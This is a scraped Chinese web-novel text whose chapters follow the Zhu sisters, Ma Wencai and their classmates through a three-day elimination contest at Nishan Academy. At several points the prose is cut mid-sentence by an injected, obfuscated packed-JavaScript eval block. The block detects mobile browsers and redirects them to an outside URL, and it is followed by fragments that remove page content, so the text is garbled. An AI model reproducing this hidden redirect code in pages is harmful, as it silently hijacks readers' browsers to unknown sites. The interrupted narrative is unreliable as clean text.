“所以为了赢,我要去找别人组队了!” 她愉快地摆了摆手:“哥,你去找别人组队吧,我要去找梁山伯他们了!就让王述自己努力吧!” 祝英回丝毫没有察觉不对劲,点头道:“好,你只管去就是了。” 祝英台有点得意:她就说,蒙蔽亲姐简简单单~ 到了下午,果然便宣布了王述打听来的消息,只不过对敌赛不是在今天,而是半个月之后会拨出整整三天时间举行。 除去王述说的那些,还补充了几条: “其中三位夫子和十五位助教将随机分布在三间房子里,最后一位夫子和五位助教则在书院内来回巡逻,遇到学生将以木刀击毙。” 说着,夫子展示了手中的木刀,做得很逼真,拔出鞘之后,可以看见整个刀刃泛着红色:“刀刃以木头掺杂朱砂以特殊方法制成,若要害处有一道红色便是出局,次要害处有三道、手臂躯干有十处为出局。” “拥有挂着分值的摆件积分或者击杀夫子或助教可得分,一个大于四人的团体,分数归除四之后,便是各人的分值,小于四人团体,分数归除人数后,便是分值。” 说着,他意味深长的视线扫过了面前的学生:“若是团队有人出局,分数扣除十之后重新计算。这十分归于送人出局的小组。” “若是团队覆灭,则尽数掠夺他们的分数。” “单打独斗者,分数倍乘。” 整个尼山书院这一年也只招收了三十多个学生而已,祝英台和王述对视一眼,祝英台比了一个八出来。 人数太多不仅不好控制,而且有些家伙那就是搅屎棍拖油瓶,是必须要排除的。 八个人正好。 祝英台大大方方地凑到了另一个人身边:“崔闫,你武艺很高,我们不若一组?” 崔闫看了一眼她:“我不和马文才一组。” 又补充道:“你哥哥也不行。” 祝英台悄悄示意他附耳过来,在他耳边说了自己的计划,没了还补充了一句:“我知道你心里不服他们很久了,既然如此,何不乘此机会一决高下?” 崔闫诧异地看了她一眼,思索片刻,点头答应了:“好,不过我还有一个朋友,不好丢下他,你们还有位置吗?” 祝英台猛点头:“是邹锋吗?当然可以!”她掰着手算“我、王述、梁山伯、荀巨伯、你、邹锋,还差两个人就够了!” 听见她把王述那三人都数出来了,崔闫皱了皱眉,但是一想,如此一来队伍内少争端,便也作罢了。 祝英台最后跟他讲:“崔闫,你和邹锋两个人负责动手尽够了,我直觉夫子可能还有一些安排没有说出来,最后两个人,咱们找同窗里有奇异技巧的人,尽量各方面都顾全吧。” 崔闫听了,想了想,跟她讲:“那你去弄够八个人吃的干粮、火折子一类物件,分发给众人各自携带。” “书院挨着山林,那一片可能也是比赛的范围内。而且,不可能比赛了食堂还提供餐食吧?” 祝英台转头就把这件事儿告诉了王述,财大气粗的蓝田侯之子一拍胸脯:“包在我身上!还有其他东西呢?我也一起去山下打包回来!” 祝英台无语:“这些东西都是要我们自己背负的,不要买太多,还有,你低调一点,别让马文才发现了。” 两个人忙忙碌碌地背着马文才和祝英回商量战术,准备物资。 直到有一天,祝英台回了宿舍,看见她家貌美如花、娴静温柔的姐姐正坐在窗边看书。 见她进来,放下书端起杯子,抿了一口茶:“你和王述买的那些东西分我一点,他买了挺多的,我懒得下山了。” 她微笑道:“算是让我不告诉马兄的一点贿赂吧。” 那笑意浅浅,能动了无数人心神,祝英台却立刻就扑过去抱着姐姐撒娇讨饶:“姐姐~我不是故意的,别计较了嘛。” 祝英回唔了一声:“做了小半个月的贼,说不是故意的?” 见祝英台低头玩手指,她笑了一声:“好了,英台,咱们姐妹俩,你总得独当一面,这又有什么不好呢?” 祝英台立刻棍打蛇随上:“那谢谢姐姐——” “不过物资我还是要的,还有,下一次想骗谁就保持着什么事都没有的样子,最开始我的确被你骗过去了。” 祝英回腮边带笑,修长的指尖绕着垂发,温柔又调侃:“若不是这些天来你时常不见踪影,也不会那么快就猜到。” 两姐妹腻歪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340073|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿,祝英台就干脆大大方方地准备了,还得寸进尺地要求姐姐帮忙遮掩藏匿。 被要求直接把物资送到祝氏兄弟宿舍的王述简直惊呆了:“你不怕你哥发现吗?!” 祝英台满不在乎:“我哥早就发现了,要不然你以为,就你的演技能骗过马文才?都是我哥在给你兜底呢。” 王述犹犹豫豫:“那,不打你哥了?” 此话一出,他就看见对面的人满脸惊异地看着他:“怎么可能!” 王述:…… 王述:祝英台真是个没心肝的。 祝英台兴冲冲地计划:“还是按我们原来准备的那样,先去偷袭巡逻的助教,等到分数攒高了,再去埋伏马兄——他双倍分数肯定不低!最后是我哥哥,我哥哥比马兄聪明,肯定能活到最后!” “到那时候,咱们就成了最终的胜利者!你要演好了,一定要等到报名的最后一天再让马兄知道,他是一个人!” 王述暗自为自己日后的命运默哀,随后高高兴兴地和祝英台一同讨论,用什么姿势偷袭马文才最容易得手。 直到半月之后的比赛日,学子们聚集到一起,马文才手里勾了一个背包扔给王述:“带着,里面是你自己的吃食饮水,到时候躲好了。” 王述磨磨蹭蹭地一步一步往后蹭,感觉已经差不多到了安全距离了撒腿就跑:“马兄你一个人去吧!我就不拖累你了!” 他窜进了自己的队伍,其他七个人立刻严严实实地把他遮掩起来,崔闫还挑衅地对上了马文才的目光:“表哥,总不能强迫人家和你一组吧。” “你还是自己一个人吧!” 原本大家对“王蓝田”的映像很深刻,但这么多天王述出钱又出力,忙前忙后的,他的地位在队伍内直线上升为吉祥物。 倒也不是缺那点钱,但是真能把人琐碎死。 马文才把这些天的事情往脑子里一转,气笑了,怒吼一声:“祝英回!” 祝英回换了一身墨绿胡服,此刻正绑腿防止蚊虫钻进去叮咬,听见他把自己的名字吼了出来,慢慢悠悠地起身,双手抱胸对上了他的目光。 “怎么了?” 马文才咬牙,最后却也什么都没有说,垂下眼睫,转身进了林子里。 我真是瞎了,怎么会觉得这人有点委屈呢?祝英回眨了眨眼,在他之后步入树林。 没错,祝英回也是一个人,虽然知道妹妹和王述的计划,但她也另有自己的计划。 王述和祝英台击掌:“好!你怎么知道马兄更生气你哥的行为,而不是我呢?” 崔闫冷冷地插话:“他那人,眼高于顶。咱们整个书院里就看入眼了祝英台的兄长。”他整个人都散发着一种怨念“从开学的时候就明摆在那里。” 邹锋也道:“若无祝英回做挡箭牌,这种事情可不兴做啊,马兄是真的会折腾人的,那花样百出……” 他抖了抖,显然是想起来小时候和崔闫一起捉弄马文才,被收拾的日子了。 祝英台不愉地打断了他们:“什么入眼不入眼的,我哥哥可未必看得上他!” 她白了崔闫一眼,转向组内另一个人:“裴凉,木牌做好了吗?” 12. 第一天 祝英回没有急着去袭击助教,她猜测那是妹妹的行动计划。 祝英台把高筑墙、广积粮、缓称王这三点做得很好,她们八个人,很少有人会想不开地去袭击。 但是不对的一点在,分数和粮食有本质的区别。 她单独行动,动作非常敏捷,大树遮蔽了她的身影,祝英回呆在树上,仔细地观察各个组别的人员分布情况。 有将将好四五个人的,也有人数超过十人的。 她悄无声息地落在了地上,靠近了那个被排斥的人…… 马文才提着木刀,整个人都散发着一股燥意。 他拧着眉看着远处围攻巡逻夫子和助教的八人,扭头就走了,直奔挂着分数牌的屋子。 屋子里面有五个助教,外面坐着一个夫子。 不太好下手,但不是不能下手。 他暂时先离开了木屋,静静地等待天黑。 积分物件不仅木屋中有,森林里也散布了很多。有不少人这里挖挖那里挖挖,还时不时抬头观察。 又一次被迫转移地点的马文才深呼吸一口气,告诫自己还不是时候。 终于,夜幕降临,天色渐黑。在树上闭眼休息的青年男子睁开眼睛,敏捷无声地逐渐靠近了木屋。 木屋有窗户,他冷静地埋伏在窗外,静静等待着助教靠近。 屋内的助教谁也不觉得第一天就有学生会这么勇,直接对付具有地形优势的父子们,在内说说笑笑。 在不知不觉间,便有一人靠近了窗户。 其余人与他的距离不算近也不算远,余光留意着他,但也没有那么在意。 在助教的身后,窗户被悄悄地推开了一个小缝。 那个姓李的年轻助教靠着窗户咂咂嘴:“真是长江后浪推前浪啊……” 其他人笑:“那可不是吗?” 有一个姓王的还说:“如果要说文科,那自然是祝家那个小的占据魁首。” “但如果说咱们这些拳脚功夫,那还得是他兄长和马家那一位。” 另一人笑着推了一把他:“说什么呢,难道祝家大的那个,和马太守的儿子文科就弱了吗?” 李助教啧了一声:“这话不能这么说,他们那六个人,除去王述之外,各方面都不差,但是各有所长罢了。” 另一个约么是姓张的助教又说起另一件事儿:“夫子让我们弄温鼎〔1〕,味道越大越好,这不大好吧……” 其他人都啐他:“不过是馋一馋那些学生罢了,有什么不好的?” 李助教直起身子:“我来我来!” 王助教立马道:“你可歇着吧,谁不知道你是荆州人,那大把蓼草往下一放,咱还能吃吗?” 李助教悻悻地靠回窗边,看着别人弄。 此时窗户突然大开,他被半扇窗户往前推了一把,还没来得及稳住身体,忽然感觉一只手扣住他肩胛处,随后便是一点冰凉划过脖颈。 等他站稳之后,缓慢地抬手,看见指尖那点朱砂印记之后,整个人都不好了:“不是,谁啊!” 其余人冲到窗边,却只看见外面漆黑一片的树林,半点人影也不见。 王助教沉着脸:“去告诉夫子。” 张助教立刻应了一声,出了门就跟还坐在院子里的夫子讲:“夫子!有学生从窗户那里偷袭了我们!” 那夫子满脸络腮胡子,听了这话,猛地扭头:“什么?!” 他骂骂咧咧地往里走:“是哪个没有用的,这么快就被学生送出局了!” 李敖粗声粗气道:“问你话呢!是哪个!” 他转头正打算教训一下没用的助教,突然感觉后颈一点凉风。 武人的直觉立刻发挥作用,他拔刀挡在了自己后颈处。 笃的一声,李敖知道,这是那个来偷袭的学生,他哼了一声:“第一天就来偷袭,勇气可嘉。” 随即猛然前冲,躲过了马文才的偷袭范围,就想去推门叫人。 却突然听见碰的一声,他往旁边一躲,就看见了一脸无奈、脖颈间一道红痕的张助教被当成障碍物丢了过来,正正好堵到了门口。 李敖:……这学生还怪灵性的哈。 张勉堵在门口,里面的其他人很难推开门,但也不是不可以走窗户,不过,这就给了马文才解决李敖的时间。 他没有让李敖转过来堂堂正正打的意思,一刀接一刀快得像风,李敖被逼的有些狼狈,干脆以手臂挡了一下,勉强扭转身体,接住了劈头盖脸的一刀 马文才眼神微微一动,立刻更加贴近,刀刀冲着要害去,李敖在不知不觉间,以身体挡了好几下。 最终,一记偷袭心口的刀法被李敖拦下之后,马文才立刻抽身出战局,笑了笑:“夫子,您出局了。” 李敖蒙了:“不是,我们打得好好的……” 他突然想起了什么,低头数起了身上的红痕,马文才倏然一刀割喉,然后彬彬有礼道:“夫子,这会儿您才是真的出局了。” 李敖:…… 他很是无语:“你这小子也太奸诈了。” 但他也不是输不起的人,更何况,若他们手里拿的不是木刀,那李敖早该失去行动能力了。 可没有谁四肢中刀还能一点儿不变地挥刀。 说话间,已经有三位助教从窗户里钻了出来,马文才看了一眼,转向李敖:“还请夫子去堵住窗户吧。” 李敖眼皮子一抽,但也不想被他拖着踹过去,认命严严实实地挡住了窗户。 马文才拱了拱手:“诸位多多指教——” 语音未落,他便倏然暴起,又狠又厉地刮向王崇,王崇立刻抬刀挡下,其余两人同时攻向这青年学生的后背。 那黑衣青年像是早有预料,后仰跃起,将腰拉到了平行地面的程度,黑色腰封舒展到极致,黑银丝线在月光下折射。 这一动躲过了两人袭击,他袖中滑出一柄短刀,在手中灵巧一转便横在了柳城的脖颈上。 又是一人出局。 马文才蓦然将柳城推向王崇,以他为盾牌闪电般取了王崇的“性命”。 他停了下来,和叶进遥遥相对,他笑了一声:“叶助教,你打不过我。” 叶进:……虽然是事实,但你这个人要不要这么直接。 马文才道:“那现在,我以您的性命威胁你,进去把里面那一位送出局,可以吗?” 叶进:???不是这小子跟谁学的。 李敖险些笑出声,他眼神示意叶进照他说的做,叶进也只得搬开了同僚的“尸体”,拉开了门,看着里面一无所知的同僚问:“解决了吗?” 叶进闭了闭眼,上前一步,猝然出手偷袭,在他脖颈上抹了一道红痕。 那人震惊到无声,迎着他的目光,叶进觉得自己好像失去了什么东西…… 叶进最终也被马文才送出局了,身量高挑的青年进入木屋,将积分牌一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340074|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一摘走,又在角落的箱子里发现了两样东西: 朱砂、兵器。 马文才若有所思地低头端详自己的两把刀,这是他进入树林之前选的武器,每个人都不完全相同。 他用手一抹刀锋,浅淡到几乎要消失的朱砂印告诉他,武器都是会“钝”的,朱砂没了,就不能用了。 发现这件事情的不只是他,祝英回解决掉了坐在外面的夫子,一个人凑了上来,献宝似的将朱砂捧给她:“祝兄你看!朱砂!” 祝英回捻起了一点朱砂,凤目微微抬起,看向木屋:“原来如此……” 那人忐忑不安道:“祝兄……” 祝英回微微一笑:“现在还不是时候解决那些人,等到他们把整个森林都搜干净了,咱们再坐享渔翁之利,不好吗?” 她看着围着自己的几个人,言辞温柔又蛊惑:“分数牌一人拿一点走,剩下的归我,可不要被那些家伙又骂你们没用。” 她状若爱怜:“都是人,他们凭什么欺负你们呢?” 围着她的人眼神狂热,好像看到了神:“对!那些家伙都是这样!明明是他们主动来找我们组队的!但最后还是祝兄你愿意带我们!” “没错!我早晚打他们一顿!” “对啊祝兄!你有用得上我们的时候尽管说!绝不推辞!” 祝英回笑了笑:“好了,快回去吧。” 等到人都走完了,她才进入木屋休息,学习祝英台多拉拢人的很多,以至于三十多个人就被分成了四五组。 十三人,十二人,八人,四人,一人,一人。 祝英回在心里默默地念,人数最多的两组组长只是单纯地想用人海战术,却没有祝英台端水的功夫,以至于四面漏风。 两组加起来被她笼走了七八个边缘人物。 祝英回躺在床上,心里却在琢磨什么时候让剩余的几个组土崩瓦解的好,明天,亦或者是后天? 而那一边,祝英台那里也结束了战斗,同样从巡逻的夫子和助教身上弄到了朱砂,只是分量要少很多。 他们团团围坐,盯着那一大袋朱砂看,崔闫打破了沉默:“怎么讲?” 祝英台啧了一声,熟练地开始端水分配:“大家一人带一点应急的在身上,剩下的交给王述和刘稚。” “王述运气好,刘稚跑得快。” 想了想,她又着重强调:“多给裴凉一点,你要是被其他组抓住了,就拿朱砂拖延时间。” 祝英台笑意盈盈:“要是没有你,咱们打暗号的木牌都没得补。” 最后,她进行了总结性发言:“今天大家都辛苦了!尤其是崔闫和邹锋,要不是你们,咱们怎么可能团灭一支小队!” “梁兄居然还认识林中草药,荀兄胆大心细,咱们的辎重交给你们真的太放心了!” 看着越来越会说好话的祝英台,和明显被哄到了的崔氏公子,梁山伯哭笑不得,温声附和:“主要还是崔兄和邹兄的功劳。” 荀巨伯憋着笑跟着夸赞:“对对对,这两位才是真的必不可缺。” 崔闫咳了一声:“是大家配合的好,两位把草药弄出刺鼻气味,让夫子迷了眼睛。” 又道:“王述的运气也实在是有些离谱。” 王述瘫在一边的树边,连连摆手:“算了吧,我都快累死了,你们别互相夸了,快睡觉吧。” 夜间树林凉风习习,穿过树叶发出了呜呜声,逐渐催人入眠…… 13. 第二天 马文才醒得很早,他躺在床上,静静地思考。 森林中埋藏的分牌大多是“壹”,极少数写着“贰”,而木屋中的不同,每一个上都标着“叁”或“肆”。 木屋中统共五十个分值。 如果森林中埋藏的数牌超过一百五十分,那么淘汰一人就扣十分的意义就会被削弱。 最极端的情况和最温和的情况中中,四百分的总分,每人恰好能分到十分左右…… 是一个人被淘汰所需要倒扣的分数,也是最合适的分数。 若总分太低,起不到竞争的效果,总分太高,又容易让人失去控制,做出一些不那么理智的行为。 这里还有另外一个问题: 如果每个人都分到了十分,那么,这一局比赛,会将一个小组都并列魁首吗?将近四分之一的魁首? 这可不是尼山书院的风格啊,如果这样,何不你好我好大家好,一起当第一名呢? 竞争一旦开始,绝不会停下。 更大的可能,是团体赛后还藏着个人赛,逼迫同组人员分出高低胜负。 他微微抿了抿唇,如果真的是这样,那么拥有双倍分数的一人组和其他组之间的竞争关系会在最后的比赛中直接激化。 马文才几乎要冷笑出声了,为了让他和祝英回学会团队合作,夫子们真是无所不用其极啊…… 前期一人组因为单打独斗惨遭针对,后期因为双倍分数避免不开的争斗。 祝英回对这件事应该也是心知肚明,那么她会选择哪些人呢? 马文才无从得知,但是他知道,他的目标在哪里。 已经是第二天了,不少学生已经尝试着靠近木屋了。 但是此时他们才发现,有两个木屋已经空了,巡逻的夫子也不见踪影,分差带来的紧迫感逼迫着他们分别攻下了第三个、第四个木屋,并且拿走了其中的五十分。 当然,代价就是有十二人变作八人,十三人减少至十人。 进来领人的夫子带走了相应数量的字牌。 原本的八人组手里握着八十九分,原本的十二人组手里掌握着六十八分,十人组手中有七十四分。 四人组的分数手中则有着最低的二十一分。 马文才没有跟任何人分享,所以他手里是正正好的五十分,翻倍之后暂居魁首。 当森林中很难再找到一块分牌的时候,所有人都非常清楚,是时候该进行分数的再次洗牌了。 而这一次,分数只会在不同组之间转移,而非平白无故地消耗掉—— 除非,有人怒而暴起,主动干掉自己的领头羊。 祝英回清楚所有组的分数,包括马文才和祝英台组地大概分数。 她温和地笑了:“那么,现在是时候了。” 听着她说话的人纷纷欢呼起来,祝英回微微颔首:“好了,接下来,是我们的回合。” 她带着这些被撬动的人去袭击了原本的十二人组,九对四,胜利非常明显。 她笑着把木刀递给了同组中受领头羊欺压得最厉害的人,那人浑身颤抖着,狠狠地抹了那个贵族公子的脖子,用力到留下了显然不属于朱砂的红色。 剩下的三个则被祝英回亲手解决。 十二人组,还剩下四人,分数二十八分。 十人组的领头羊被同样解决。 十人组,还剩下四人,分数三十四分。 剩下的人后知后觉地担心起成绩来,却收到了祝英回笑着的礼物:“呐,你们两组一样了。” 她一点儿也没有留下,全部送给了两组,扯平了二者的比分。 十人组、十一人组都还剩四人,各六十四分。 她意味深长道:“这下,你们八个人可以一起获得一个好成绩了。” 祝英回,单人组,四分垫底。 姐姐在这边控分,妹妹被追杀的非常狼狈。 要说祝英台也是有点活该的成分在里面,她按照自己的计划,今天去对付了马文才—— 然后正面和带着四人组的马文才撞上了。 她百思不得其解,五对八,她们这边还有弓箭手,不应该被追的这么狼狈啊。 但事实就是他们一个照面荀巨伯和裴凉这两个专业技术人员就被解决掉了,而接下来,他们又陆续失去了邹锋、王述。 却只换掉了对面一个人 只留下她和崔闫还有梁山伯继续逃亡。 祝英台喘了口气:“我们三个人,还剩多少分数?” “三十九分。”崔闫脸色很难看“马文才手里应该有七十分。” 裴凉是被他送出局的,邹锋也是。 祝英台咬牙:“咱们要输给他了?” 她骂了一声娘:“说好的一个人呢!他是怎么说服那四个人的!” 其实很简单,马文才只是找到他们,然后告诉他们:“我能带你们赢。” 四人组一共就二十一分,合计了片刻一咬牙一跺脚背水一战,而成果是喜人的,他们现在已经有五十一分了。 分数上涨的同时,斗志也在削弱。 马文才也没想过要继续,头也不回地进了树林了,然后就遇见了笑吟吟站在那里,身着墨绿衣裳的祝英回。 她眨了眨眼:“马兄,我早就想这么做了。” 马文才甩了甩刀,俊美的面孔很是冷漠,还有些难以察觉的怒意:“怎么,想淘汰我?” 祝英回生得很美,那双凤眼总是笑意盈盈,此刻却蓦然平淡下来,显得格外冷漠:“不——” “我只是想揍你!” 两个人顷刻间缠斗在了一起,祝英回虽说同样从小习武,但和马文才从小就是按武将培养、往死里操练毕竟不一样。 但她手段频出,竟然也堪堪打了个不相上下。 祝英回轻巧地银鹞翻身,躲开了一刀,她按着树上布满枯叶的树藤,骤然仰头下腰,把一根树藤簌簌地拉直了。 马文才劈下来的刀丝毫不受影响,换了刁钻的角度继续直扑面门。 祝英回拦住了他这一招,借树藤的力量从地上弹了起来,又是一抖,落下来的树藤跟鞭子似的直抽马文才面门。 就在他想伸手去捞时,却猝然看见了上面的朱砂。下意识抬刀一挡,树藤粗重,一下子把木刀抽出个缝隙,树藤上的枯叶更是漫天飘落。 青年善战,迅速意识到不对劲,不再顾及藤上的朱砂,一把抓住了树藤。 树藤无力地垂落,另一头的人影早已经在这一个瞬间不知去向。 马文才抓紧了树藤,被戏耍的愤怒骤然升腾起来。 一把木刀从斜里刺了出来,笃的一声刺到了木刀上。 两个人都是大汗淋漓,默不作声地瞪着对方,谁也不肯先服软,马文才生怕对面不如他生气自己吃亏了,还挑衅道:“想揍我?看来你没能做到。” 祝英回眼皮子直跳,呵笑一声,骤然抽刀,马文才立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340075|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收力稳住重心,他一抬头却见祝英回挑眉示意他腰间,马文才低头一看,腰间的玉佩已然消失不见。 修长的手指夹着红绳,羊脂玉佩在她手下晃了晃:“不愧是马公子,这玉佩不说千金,也得值不少钱吧。” 祝英回神情恣意,带着些倦怠的疲惫:“如何?” 马文才拧眉:”我输了。” 他干脆地收刀:“说罢,要我做什么?” 祝英回扬起一个恶劣的笑容,示意他附耳过来,暧昧的气息喷洒在他耳畔,弄得他有些痒。 但马文才认为,她的计划很好。 马文才爽快地答应了:“没问题。” 马文才,一人组,主动焚烧字牌,每人只留八分。 而那边,两个三人组为了争夺字牌,已经打了起来。 最终,祝英台指挥着队伍成功获胜。 祝英台,梁山伯,崔闫,三个人一共获得九十分。 但是,林中倏然迎来了两个不速之客。 马文才冷漠抱胸,他身姿修长,往那里一站都格外有压迫感。 祝英回悠然靠在树干上,笑意盈盈:“打劫!” 祝英台万万没想到自己被姐姐给埋伏了,一口气梗在胸口:“哥!” 梁山伯一副意料之中的表情,揉了揉额心,干脆靠着树坐了下来。 她那个老谋深算的姐姐漫不经心道:“我们也不多要,把你们的分数都交出来吧!” 祝英台:…… 她试图打感情牌:“哥哥,咱们兄弟从出生就在一块儿的情分,你看……” 那温润又焉坏的女子唔了一声:“马兄!搜他们身!” 祝英台一下子老实了,认命地把字牌全都交了上去。 崔闫倒是不服,但是他们刚刚干过一仗,这会儿跟马文才动手实在是没胜算。 更何况,祝英回又不是杵在那儿好看的。颇为意外的是,祝英台这个兄长好像还真的念着兄弟之情,给他们留了四十八分。 与崔闫不同的是,祝英台心里一清二楚她姐姐是个什么人,当即狐疑地凑过去问:“哥,你搞什么鬼?” 祝英回在妹妹耳边耳语几句,顿时,祝英台兴奋地一拍手:“这个主意好!走走走!” 而被祝英回蛊惑的那八个人,竟然真的没有彼此攻击,而是老老实实地等着比赛结束—— 关键是没有必要,四对四谁也没有一定的胜算,彼此之间还有一起打老板的情分。 何必呢? 当远远看见来人了,他们紧张地抓起武器:“什么人!” 祝英回远远回了一句:“我,祝英回。” 于是,其他人眼睁睁看着这八个十七八的岁的大小伙子跟看见亲妈的八岁小屁孩儿一样,表情一下子就崇敬又放松起来:“祝兄!” 祝英台嘶了一声,觉得这画面有点辣眼睛。 他们五个只有崔闫是不怎么熟的,其他人关系好是书院里人人知道的,这八人便也不怎么排斥他们。 八人你推我我推你,最终选出了一个人选凑上去问,颇为期期艾艾:“祝兄,接下来怎么办啊?” 祝英回笑得如沐春风:“我们便当做休沐,多休息一天就是了,现在就只剩下我们十三个人了。” 那八人瞪大了眼睛,你看我我看你,万万没想到这就前三分之一了。 当即欢呼一声,表示他们发现木屋会定时有食堂的佣者来送食物,不缺吃的! 14. 开荒 十三个人选了个两个较近的木屋,在他们中间就地扎营。木屋也算是定时刷新的资源点了,每日都有人来送餐。 不过不是煮好的,而是六人份的食材,方便占据木屋的学生根据人数烹饪。 夫子和助教都是习武之人,饭量很大,所以虽然现在这里有十几个十七八岁的半大小子,两个木屋的食材也足够他们吃了。 不过…… 大家围着食材面面相觑,若要说弄熟,那随便架火上一烤也行,但在调料稀缺的当朝,味道肯定不怎么样就是了。 祝英台伸手扒拉了一下食材:“米粮、油、葱、姜、蒜、蓼草、菇类、青菜、鸡、鱼、猪肉……”〔1〕 嗅到猪肉的气味,她嫌弃地皱了皱鼻子。 祝英回叹了口气,知道妹妹吃不惯不劁的猪肉,更受不了其中的腥臊气,把猪肉拎了起来,又从物资中找了一瓶酒:“英台,来帮忙。” 祝英台喜笑颜开地蹦了起来:“这就来!” 祝英回礼貌微笑:“还麻烦诸位把鱼和鸡处理一下,其余食材清洗一下,从河边打些水回来。” “还有柴火,屋子里有灶,但不曾送柴火来。” 诸人见有人主动承担了做饭的重任,纷纷应是,忙忙碌碌地各自处理去了。 祝英台熟练地把猪肉切成肉片,葱姜蒜酒腌制浸泡反复几次,那种腥臊味才减轻到几乎闻不到。 她在祝家的人设是温柔贤惠,但这么熟练还是因为前世独居,多少得自己会点厨艺。 门吱呀一声被推开了,马文才站在门口,他手里提着草绳穿了的鸡和鱼。 祝英台不自觉地扬眉:“居然是你处理的?” 他言简意赅地解释了一句:“外出打猎时也常常吃自己打来的猎物。” 马文才就这么看着祝英台,也不把手里的东西递给她,也不说话。祝英台几乎是瞬间领悟,得到姐姐首肯后,翻了个白眼就出去了。 祝英回换了把刀,咚咚咚地把食材剁成小块方便烹饪,头也不抬:“有什么要说的?” “我还是不明白。”压抑许久的疑惑和些微怒气瞬间被挑了出来“你为什么生气?我不觉得你是那么烂好心的人。” 祝英回终于抬起了头,她用干净的帕子擦了擦手,皮笑肉不笑:“马兄,王与马共天下,你不应该不知道吧?” 马文才的目光瞬间锐利,狭长的桃花目中黑色翻涌—— 他知道,他当然知道。 马家与司马氏有着很深的渊源,八王之乱后,出于种种原因,不少司马氏的后裔为免被牵连而改姓。 其他人说不好,但马太守既然能做到太守,皇室就是默认了他皇亲国戚的身份。但是无论如何,马就是马,不可能再变成司马。 王与马共天下、谢氏把持朝政、微妙难言的身份,其中滋味怎么会是一般人能够领会的。 他垂下羽睫,白玉也似的面容此刻格外苍白:“是我问错了。” 马文才的声音里带着冷冷自讽:“什么皇亲国戚皇权贵人,在这乱世之中,也只如那些女子一般身不由己罢了。” 说罢,他自己倒是一默,又低声说:“你刚才说的那句话,与我说说便罢了,不要同别人讲。” 高傲如马文才,就连服软都带着一股逞强又下不了台阶的意味。 祝英回倏而有些想笑。 而她也确实笑了起来,蔷薇花般艳丽的唇瓣上挑,勾勒出一个淡淡的笑容:“啊,那还要多谢马兄提醒我了。” “更要多谢马兄愿意替我瞒了无心之言。” 马文才被她的调侃弄得无所适从,反而有些恼了:“你何必……我二人之间的对话有什么瞒不瞒的。” “你怎么总是如此,如此……” 他找不出来词形容,干脆赌气一般地甩手走人。 祝英回心情大好,祝英台也看出来了,却也没怎么在意。 不要说姐姐不会和那个家伙有什么,就是真的有,又怎么样?她相信姐姐绝不会因为舍不得一个男人而昏招频出。 第三天过得风平浪静,就连夫子突然通知大家,最后可以按照个人抢到手的分牌计算得分,也没有掀起什么波浪。 第三日下午众人离开了森林,十三个人,每个人有效分数都是十六分。 看得山长是心梗都要犯了。 原本是想给两个独行侠一点教导,但反手就被给了一个近乎荒谬的比赛结果。 不过…… 如果他们有这样的本事,好像也不必特地去纠正什么,各人有各人的缘法,何必强求呢? 于是此事便这样算了,第一名的奖励被紧急换成了七日假期。 而那些被淘汰的学生,则是要帮助山上的农户,耕地七日。 这些农户虽然开荒在山上,出行和交换生活物资都很不方便,但是却在尼山书院的庇护下得以在这个混乱的世道偷出一条命来。 所以山上的农户并不少。 不过陶渊明还是对祝英台那一句石破天惊的“糟蹋地”耿耿于怀,于是惩罚就改成了各自将书院后山的两亩荒地开垦出来。 开出来的地可自留,也可售卖给农户,只是价格上不许太高。 祝英回得知此事后,一挑眉:“咱们不若去看看?” 祝英台疑惑地“嗯?”了一声:“为什么?” “我打赌。”祝英回笑意盈盈“王述绝对会请农户来开荒,然后把这两亩地送给农户。” 祝英台啊了一声:“那这不是好事情吗?” 祝英回慢悠悠道:“可其他人未必会信守承诺啊。” 她不无讽刺道:“诓骗农户来开垦荒地,结束之后又以势压人,给点钱——或者干脆不给钱就打发了。” “你以为这群公子哥儿做不出来吗?” 满怀希望的农户付出了七天的苦力活,乃至于耽误了自家农作物的耕种采收,最后什么也没得到,希望被无情地打破。 哪怕戏耍他们的公子哥儿并不缺这两亩地,也说不定会恶劣地想要看到他们希望破灭的样子。 怎么想都很符合魏晋这群颠公的style。 祝英台眼珠一转就是一个恶毒主意:“既然这样,那咱们就把其他人一起叫上,监督他们做活,不许他们去雇佣农户。” “然后再把这些地全都买下来,送给农户。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 